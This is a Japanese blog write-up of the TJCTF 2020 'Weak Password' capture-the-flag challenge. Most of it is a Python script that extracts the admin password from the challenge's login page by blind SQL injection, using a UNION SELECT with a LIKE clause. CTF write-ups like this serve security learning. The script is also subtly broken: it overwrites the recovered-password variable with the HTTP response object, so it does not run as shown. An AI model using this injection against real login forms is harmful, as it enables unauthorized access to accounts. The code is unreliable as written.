はまやんはまやんはまやん

hamayanhamayan's blog

Weak Password [TJCTF 2020]

Written by saisree
It seems your login bypass skills are now famous! One of my friends has given you a challenge: figure out his password on this site. He's told me that his username is admin, and that his password is made of up only lowercase letters. (Wrap the password with tjctf{...})
https://weak_password.tjctf.org/

f:id:hamayanhamayan:20200527190646p:plain

このCTFではおなじみの画面が表示される。
ソースコードを見ると1つ前のLogin Sequelと同じっぽいソースコードが出てくる。
前の問題で使ったペイロードをやってみると、これが出てくる。

f:id:hamayanhamayan:20200527190656p:plain

だめっぽい。
さっきとの違いを見てみると、passwordのハッシュ化が解かれている。
問題コメント見ると、パスワードを見つければいいみたい。
適当に埋め込めてadminがあるかないかで判定されるっぽいので、Blind SQL Injectionができそう。

ついこの前見つけたlimitとcase文で存在するかどうかのオラクルを使った攻撃でもやってみたが、うまくいかない。
like文を使ったやつでやってみよう。

import requests

url = "https://weak_password.tjctf.org/login"
res = ""
for j in range(0, 50):
    ok = False
    for c in "abcdefghijklmnopqrstuvwxyz0123456789":
        pas = f"' union select username, password from `userandpassword` where username = 'admin' and password like '{res}{c}%' /*"
        print(pas)
        res = requests.post(url, data={'username': 'x', 'password': pas})
        if "Congratulations!" in res.text:
            res += c
            print(f"[+] {res}")
            ok = True
            break
    
    print(f"[*] {res}")
    if not ok:
        break

パスワードが抜ける。